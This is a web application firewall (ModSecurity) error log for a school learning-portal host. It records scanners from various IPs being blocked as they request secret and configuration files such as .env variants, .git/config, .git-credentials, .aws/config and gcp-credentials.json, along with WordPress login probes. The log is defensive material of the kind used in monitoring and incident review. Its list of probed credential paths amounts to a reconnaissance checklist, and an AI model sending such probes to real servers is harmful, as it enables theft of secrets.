[Tue Apr 21 14:26:35.674651 2026] [:error] [pid 5377:tid 5387] [client 13.52.215.17:41820] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aecYm7BKychFlrHBdvuxzgAAAcE"]
[Tue Apr 21 14:26:36.483010 2026] [:error] [pid 5377:tid 5396] [client 13.52.215.17:41832] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aecYnLBKychFlrHBdvux0QAAAco"]
[Tue Apr 21 14:26:37.205598 2026] [:error] [pid 4823:tid 4871] [client 13.52.215.17:41836] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aecYnfc8mke3PfHqsxF3xAAAAZI"]
[Tue Apr 21 14:26:37.972511 2026] [:error] [pid 4822:tid 4832] [client 13.52.215.17:41838] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.stage"] [unique_id "aecYnSAteFQFwS_23Jlu1gAAAUY"]
[Tue Apr 21 14:26:38.790628 2026] [:error] [pid 35320:tid 35347] [client 13.52.215.17:41846] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.ci"] [unique_id "aecYnoJW6fdXWO6agMH3RgAAABE"]
[Tue Apr 21 14:26:39.560011 2026] [:error] [pid 35322:tid 35368] [client 13.52.215.17:41854] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.docker"] [unique_id "aecYn6PoAfV40BTfVKysVgAAAIs"]
[Tue Apr 21 14:26:40.344341 2026] [:error] [pid 35320:tid 35341] [client 13.52.215.17:41870] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.live"] [unique_id "aecYoIJW6fdXWO6agMH3RwAAAAs"]
[Tue Apr 21 14:26:41.142663 2026] [:error] [pid 35322:tid 35374] [client 13.52.215.17:41884] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.preprod"] [unique_id "aecYoaPoAfV40BTfVKysXAAAAJE"]
[Tue Apr 21 14:26:42.048802 2026] [:error] [pid 4823:tid 4854] [client 13.52.215.17:41886] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.uat"] [unique_id "aecYovc8mke3PfHqsxF30QAAAYE"]
[Tue Apr 21 14:26:42.786427 2026] [:error] [pid 35321:tid 35386] [client 13.52.215.17:41898] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "aecYojeHLhVUuu8cVXyFYgAAAEI"]
[Tue Apr 21 14:26:43.588622 2026] [:error] [pid 35321:tid 35396] [client 13.52.215.17:53746] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.swp"] [unique_id "aecYozeHLhVUuu8cVXyFZgAAAEw"]
[Tue Apr 21 14:26:44.540461 2026] [:error] [pid 4777:tid 4810] [client 13.52.215.17:53750] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env~"] [unique_id "aecYpKxXur6bykKyLZRrVQAAARY"]
[Tue Apr 21 14:26:45.344677 2026] [:error] [pid 4777:tid 4799] [client 13.52.215.17:53756] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app/.env"] [unique_id "aecYpaxXur6bykKyLZRrWgAAAQs"]
[Tue Apr 21 14:26:46.066125 2026] [:error] [pid 4822:tid 4839] [client 13.52.215.17:53758] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/apps/.env"] [unique_id "aecYpiAteFQFwS_23Jlu_AAAAU0"]
[Tue Apr 21 14:26:46.867590 2026] [:error] [pid 4822:tid 4831] [client 13.52.215.17:53774] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aecYpiAteFQFwS_23JlvBQAAAUU"]
[Tue Apr 21 14:26:47.641667 2026] [:error] [pid 4823:tid 4863] [client 13.52.215.17:53780] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web/.env"] [unique_id "aecYp_c8mke3PfHqsxF33AAAAYo"]
[Tue Apr 21 14:26:48.318178 2026] [:error] [pid 35415:tid 35428] [client 13.52.215.17:53786] [client 13.52.215.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/site/.env"] [unique_id "aecYqEiqDinI4_22zzg-GgAAAME"]
[Tue Apr 21 17:32:35.510437 2026] [:error] [pid 53731:tid 53735] [client 92.205.188.156:54390] [client 92.205.188.156] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.188.156, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aedEM12I9THUR-bRVGwUWwAAAgA"]
[Tue Apr 21 17:32:36.177505 2026] [:error] [pid 53731:tid 53746] [client 92.205.188.156:54402] [client 92.205.188.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.188.156, incrementing ddos counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/xmlrpc.php"] [unique_id "aedENF2I9THUR-bRVGwUYAAAAgs"]
[Tue Apr 21 19:31:42.690498 2026] [:error] [pid 53731:tid 53756] [client 159.203.8.163:53273] [client 159.203.8.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.8.163, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aedgHl2I9THUR-bRVGxEPwAAAhQ"]
[Tue Apr 21 19:31:43.526819 2026] [:error] [pid 35320:tid 35332] [client 159.203.8.163:53344] [client 159.203.8.163] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.8.163, incrementing brute counter"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-login.php"] [unique_id "aedgH4JW6fdXWO6agMGVdwAAAAI"]
[Thu Apr 23 13:34:25.291116 2026] [:error] [pid 42972:tid 43038] [client 103.65.236.131:50528] [client 103.65.236.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aemvYcOAb-3sOknsk4eRggAAAFY"]
[Sat Apr 25 02:14:49.135117 2026] [:error] [pid 14989:tid 15011] [client 34.44.58.154:45736] [client 34.44.58.154] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 1, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeuzGXhRYjsAsZTO4EO4NwAAABQ"], referer: https://seqta-learn.carmel.wa.edu.au/
[Sat Apr 25 02:14:50.162170 2026] [:error] [pid 14989:tid 15014] [client 34.44.58.154:45740] [client 34.44.58.154] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 0, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeuzGXhRYjsAsZTO4EO4OgAAABc"], referer: https://seqta-learn.carmel.wa.edu.au/
[Sat Apr 25 02:14:50.364869 2026] [:error] [pid 14989:tid 15003] [client 34.44.58.154:45740] [client 34.44.58.154] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||seqta-learn.carmel.wa.edu.au|F|2"] [data "Multipart parsing error: Multipart: Final boundary missing."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeuzGnhRYjsAsZTO4EO4PAAAAAw"], referer: https://seqta-learn.carmel.wa.edu.au/
[Sat Apr 25 02:14:50.364962 2026] [:error] [pid 14989:tid 15003] [client 34.44.58.154:45740] [client 34.44.58.154] ModSecurity: Access denied with code 403 (phase 2). Match of "eq 0" against "MULTIPART_STRICT_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "30"] [id "210240"] [rev "4"] [msg "COMODO WAF: Multipart request body failed strict validation: PE 1, BQ 0, BW 0, DB 1, DA 0, HF 0, LF 0, SM , IQ 0, IH 0, FLE 0||seqta-learn.carmel.wa.edu.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/"] [unique_id "aeuzGnhRYjsAsZTO4EO4PAAAAAw"], referer: https://seqta-learn.carmel.wa.edu.au/
[Wed Apr 29 09:43:06.624534 2026] [:error] [pid 37025:tid 37045] [client 34.62.222.228:49012] [client 34.62.222.228] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "afFiKls-FEY5e2vMBmwIHgAAANI"]
[Fri May 01 07:15:32.938849 2026] [:error] [pid 38015:tid 38052] [client 8.231.139.212:42074] [client 8.231.139.212] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "afPilMNJWoh41gYMCSV4LgAAAEE"]
[Sun May 03 17:08:55.169960 2026] [:error] [pid 37246:tid 37255] [client 8.228.109.116:49642] [client 8.228.109.116] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "afcQpzhvYFGNwhnPamoIXgAAAQc"]
[Mon May 04 23:56:42.031396 2026] [:error] [pid 61150:tid 61163] [client 185.198.240.99:47819] [client 185.198.240.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "afjBuu8QXWVLiwIGVpepfwAAAUo"]
[Wed May 06 20:15:00.530499 2026] [:error] [pid 557:tid 579] [client 2.24.70.83:59220] [client 2.24.70.83] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "afswxDZjFR8Vd8ce80As0wAAAlQ"]
[Wed May 06 21:55:09.323588 2026] [:error] [pid 9659:tid 9755] [client 173.239.214.186:32593] [client 173.239.214.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aftIPfwJnWjd8JHpBtuZEAAAANU"]
[Thu May 07 10:18:22.179415 2026] [:error] [pid 1143:tid 1156] [client 195.178.110.241:56324] [client 195.178.110.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "afv2bpb7qeI8X5VYRr5ChAAAAQs"]
[Fri May 08 01:39:51.815959 2026] [:error] [pid 15630:tid 15682] [client 185.254.197.231:46410] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "afzOZ3TithRAi4821qvvkwAAAJY"]
[Fri May 08 01:39:51.817932 2026] [:error] [pid 15631:tid 15703] [client 185.254.197.231:46456] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase ".htpasswd" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.htpasswd"] [unique_id "afzOZ3vP1GkPUuuLfqV6-QAAANA"]
[Fri May 08 01:39:52.756267 2026] [:error] [pid 15715:tid 15724] [client 185.254.197.231:46370] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "afzOaCY4dZsLOttMkcf-PAAAAQc"]
[Fri May 08 01:39:53.838122 2026] [:error] [pid 15631:tid 15705] [client 185.254.197.231:46366] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "afzOaXvP1GkPUuuLfqV7AAAAANI"]
[Fri May 08 01:39:54.452660 2026] [:error] [pid 15630:tid 15666] [client 185.254.197.231:46420] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "afzOanTithRAi4821qvvnQAAAIY"]
[Fri May 08 01:39:54.997194 2026] [:error] [pid 15715:tid 15743] [client 185.254.197.231:46432] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "afzOaiY4dZsLOttMkcf-PgAAARc"]
[Fri May 08 01:39:55.231414 2026] [:error] [pid 15715:tid 15719] [client 185.254.197.231:46512] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/Web.config" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/web.config"] [unique_id "afzOayY4dZsLOttMkcf-QAAAAQI"]
[Fri May 08 01:39:55.232782 2026] [:error] [pid 15631:tid 15708] [client 185.254.197.231:46496] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/HEAD"] [unique_id "afzOa3vP1GkPUuuLfqV7AgAAANU"]
[Fri May 08 01:39:55.829139 2026] [:error] [pid 15631:tid 15707] [client 185.254.197.231:46378] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "afzOa3vP1GkPUuuLfqV7AwAAANQ"]
[Fri May 08 01:39:56.103588 2026] [:error] [pid 15630:tid 15668] [client 185.254.197.231:46394] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/appsettings.json"] [unique_id "afzObHTithRAi4821qvvoQAAAIg"]
[Fri May 08 01:39:56.104502 2026] [:error] [pid 15630:tid 15684] [client 185.254.197.231:46466] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git-credentials"] [unique_id "afzObHTithRAi4821qvvogAAAJg"]
[Fri May 08 01:39:56.496936 2026] [:error] [pid 15630:tid 15661] [client 185.254.197.231:46450] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "afzObHTithRAi4821qvvowAAAIE"]
[Fri May 08 01:40:00.186750 2026] [:error] [pid 12374:tid 12383] [client 185.254.197.231:48932] [client 185.254.197.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "afzOcBo3QnNcFDMfKt2HOAAAAYU"]
[Fri May 08 01:40:00.187068 2026] [:error] [pid 12374:tid 12394] [client 185.254.197.231:48918] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git-credentials"] [unique_id "afzOcBo3QnNcFDMfKt2HOQAAAZA"]
[Fri May 08 01:40:01.649304 2026] [:error] [pid 12323:tid 12339] [client 185.254.197.231:48994] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/appsettings.Development.json"] [unique_id "afzOcddhHMnGFpc7MDxJBgAAAUw"]
[Fri May 08 01:40:03.006399 2026] [:error] [pid 15715:tid 15739] [client 185.254.197.231:49142] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.aws/config"] [unique_id "afzOcyY4dZsLOttMkcf-QgAAARM"]
[Fri May 08 01:40:03.094783 2026] [:error] [pid 15630:tid 15667] [client 185.254.197.231:49072] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/docker-compose.yaml"] [unique_id "afzOc3TithRAi4821qvvsQAAAIc"]
[Fri May 08 01:40:03.098176 2026] [:error] [pid 15630:tid 15679] [client 185.254.197.231:49058] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/gcp-credentials.json"] [unique_id "afzOc3TithRAi4821qvvsgAAAJM"]
[Fri May 08 01:40:03.098795 2026] [:error] [pid 12323:tid 12342] [client 185.254.197.231:49126] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.sendgrid.env"] [unique_id "afzOc9dhHMnGFpc7MDxJCAAAAU8"]
[Fri May 08 01:40:03.110733 2026] [:error] [pid 15629:tid 15644] [client 185.254.197.231:49104] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/actuator/configprops"] [unique_id "afzOc_rIJCALdUrO43mktgAAAAs"]
[Fri May 08 01:40:03.113038 2026] [:error] [pid 12374:tid 12388] [client 185.254.197.231:49118] [client 185.254.197.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/heapdump"] [unique_id "afzOcxo3QnNcFDMfKt2HRQAAAYo"]
